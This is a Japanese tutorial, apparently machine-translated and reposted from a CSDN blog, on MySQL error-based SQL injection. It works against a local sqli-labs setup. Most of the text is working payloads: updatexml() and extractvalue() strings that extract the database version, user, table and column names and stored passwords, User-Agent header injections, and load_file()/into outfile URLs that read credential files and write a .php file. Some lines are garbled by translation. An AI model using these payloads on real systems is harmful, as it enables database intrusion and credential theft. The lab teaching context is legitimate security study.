SQLインジェクション -- エラーインジェクション

よく使用される単純なテスト ステートメントとコメント記号


SQL ステートメントのコメント記号は、SQL インジェクション ステートメントの重要なポイントです。一般的に使用される # と -- 


1. # と -- (スペースを含む) はコメントを表し、その背後にあるステートメントの実行を妨げる可能性があります。url は get リクエストであればブラウザのアドレスバーに入力した URL になりますが、説明や実行の際、ur1 の # はブラウザの動作を誘導するために使用されるもので、サーバーにとっては役に立ちません。したがって、HTTP リクエストには # が含まれていないため、# を使用して閉じることはコメントできず、エラーが報告されます。 -- (スペースを含む) を使用している間、スペースは送信プロセス中に無視されます。コメントは不可能なので、GT リクエスト パラメータ インジェクションを使用します。+ はスペースとして解釈されるため、閉じるには --+ のみを使用してください。
2. もちろん、--%20 を使用してスペースをエラーなしで URL エンコード形式に変換することもできます。同様に、# を %23 に変更してもエラーは報告されません。
3. 投稿リクエストの場合は、# を直接使用してリクエストを閉じることができます。一般的なものは、バックグラウンドのログイン ボックスに注入するなどのフォーム インジェクションです。
4. -- の後にはスペースが必要ですが、# の後には必要ないのはなぜですか? -- コメントを使用する場合、有効な sq1 ステートメントを形成するにはスペースを使用する必要があり、# の後にスペースを続けても付けなくてもよいからです。スペースがないため、-- はシステムが自動生成するシングルクォーテーションに直結しており、キーワードとみなされますが、システムが自動生成するシングルクォーテーションはコメントアウトできません。

簡単なテストステートメント:


xx' or1=1 --+ 1 つの条件が true、それは true、本当の効果はテーブル内のすべてのデータをクエリすることです
xx' and1=2 --+ 1 つの条件が false、それは false
xx' and1=1 -- + 2 つの条件が true である場合は true
ユニオン選択... ユニオンクエリ

 エラー挿入

Updatexml(): この関数は、MYSQL が XML ドキュメント データをクエリおよび変更するための XPATH 関数です。
extractvalue(): この関数は、MYSQL が XML ドキュメント データをクエリするための XPATH 関数でもあります。
Floor(0: MYSQL で丸めに使用される関数。

UPDATEXML (XML_document,XPath_string,new_value);
https://pythonjishu.com/mysql-updatexml

MySQL の UPDATEXML() 関数を使用すると、XML 型データを変更でき、XML データ内の 1 つ以上のノード値を更新できます。

この関数には 3 つのパラメータがあります。

  • XMLデータ
  • XPath 式: 変更するノードの位置を指定するために使用されます。
  • 新しいノード値: 現在のノードを置き換えるために使用される値

UPDATEXML() 関数の構文は次のとおりです。

UPDATEXML(xml_target, xpath_expr, new_val)

• 具体的な使用法:

 xx ' および updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)# (データベースのバージョンを取得)

 xx ' と updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)# (現在のユーザーを取得)

 xx ' および updatexml(1,concat(0x7e,(SELECT Databases()),0x7e),1)# (データベース名を取得)

k' および updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema='mysql' limit 0,1)),0)# (エラー挿入、テーブル名を取得)

k' および updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0)# (エラー挿入、フィールド名を取得)

k' および updatexml(1,concat(0x7e,(ユーザー制限 0,1 からパスワードを選択)),0)#

 一般的な HTTP ヘッダー インジェクション

UAヘッダーインジェクション

HTTPリクエストヘッダーにUseragentを挿入します。

リファラーインジェクション

リファラー: Web サイトにアクセスすると、ブラウザはサーバーにどこからアクセスしているかをサーバーに伝える必要があります。(URLを直接入力するか、他のページのリンクをクリックしてください)。

Cookie インジェクション
Cookie は文字列であり、ブラウザがサーバーから返されたデータを保存する方法であり、通常はユーザーの ID 情報を保存します。これは、ユーザーの身元を特定し、セッション追跡を行うために、一部の Web サイトによってユーザーのローカル端末に保存されるデータ (通常は暗号化されています) であり、情報はユーザーのクライアント コンピュータによって一時的または永続的に保存されます。

セッション サーバー上の Web ページにアクセスすると、サーバー側のメモリにメモリが開かれます。このメモリはセッションと呼ばれ、このメモリはブラウザに関連付けられます。このブラウザはブラウザ ウィンドウ、またはブラウザのサブウィンドウを指します。つまり、現在のセッションに対応するブラウザのみがアクセスを許可され、同じマシン上で新しく起動されたブラウザであってもアクセスできません。 。別のブラウザもセッションを記録する必要がある場合、そのブラウザは独自の別のセッションを開きます。セッション制御とも呼ばれます

ユーザー エージェント インジェクションの例:

現在のデータベース名を取得します

 ユーザーエージェント:Mozilla/5.0....Firefox/46.0' および extractvalue(1,concat(0x7e,database())),'','')#

 すべてのテーブル名を取得する

User-Agent:Mozilla/5.0....Firefox/46.0' および extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='データベース库名'))),'', '')# 

extractvalue()関数で表示できるエラーメッセージの最大長は32文字です。エラーメッセージが最大長を超えると表示が不完全になる可能性があります。したがって、場合によっては、分岐を表示するために制限を使用する必要がある場合があります。上記のペイロードは次のように変更できます。 

ユーザーエージェント: Mozilla/5.0....Firefox/46.0' および extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'', '')#
//セキュリティ ライブラリの最初のテーブルの名前を表示します
User-Agent:Mozilla/5.0....Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema) .tables where table_schema='security' limit 1,1))),'','')#
//セキュリティ ライブラリの 2 番目のテーブルの名前を表示
 
User-Agent:Mozilla/5.0....Firefox /46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),'','')# //最初のテーブルを表示しますセキュリティ
ライブラリ 3 のテーブル名

 すべてのフィールド名を取得する

User-Agent:Mozilla/5.0....Firefox/46.0' および extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')) ),'','')#

 長さが制限されている場合は、制限ページネーションを使用できます。 

 ユーザーエージェント: Mozilla/5.0....Firefox/46.0' および extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) )),'','')#
//ユーザー テーブルの最初のフィールドの名前を表示
User-Agent:Mozilla/5.0....Firefox/46.0' および extractvalue(1,concat('~' ,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'','')# //
ユーザー テーブルの2 番目のフィールドの名前を表示します
 
User-エージェント:Mozilla/5.0......Firefox/46.0' および extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1) )),'','')#
//users テーブルの 3 番目のフィールドの名前を表示します
...

 フィールド値を表示します

ユーザーエージェント:Mozilla/5.0....Firefox/46.0' および extractvalue(1,concat(0x7e,(select concat_ws(',',id,username,password) from security.users limit 0,1)) ),'','')#

他のサンプル 

xx ' および updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)# (データベースのバージョンを取得)

 xx ' と updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)# (現在のユーザーを取得)

 xx ' および updatexml(1,concat(0x7e,(SELECT Databases()),0x7e),1)# (データベース名を取得)

k' および updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema='mysql' limit 0,1)),0)# (エラー挿入、テーブル名を取得)

k' および updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0)# (エラー挿入、フィールド名を取得)

k' および updatexml(1,concat(0x7e,(ユーザー制限 0,1 からパスワードを選択)),0)#

ファイルの読み取りおよび書き込み操作
load_file():
outfile または dumpfile への読み取り関数: エクスポート
関数 パスを取得するための一般的な方法
エラー表示、レガシー ファイル、バグ レポート、プラットフォーム構成ファイル、ブラスティングなど。 

  • http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3 (ローカルファイルを読み込む)

http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,%20%27x%27%20,3%20into%20outfile%20%27D:\\x.php%27%20--+ローカルファイルの書き込み 

おすすめ

転載: blog.csdn.net/bbq1234564/article/details/132236974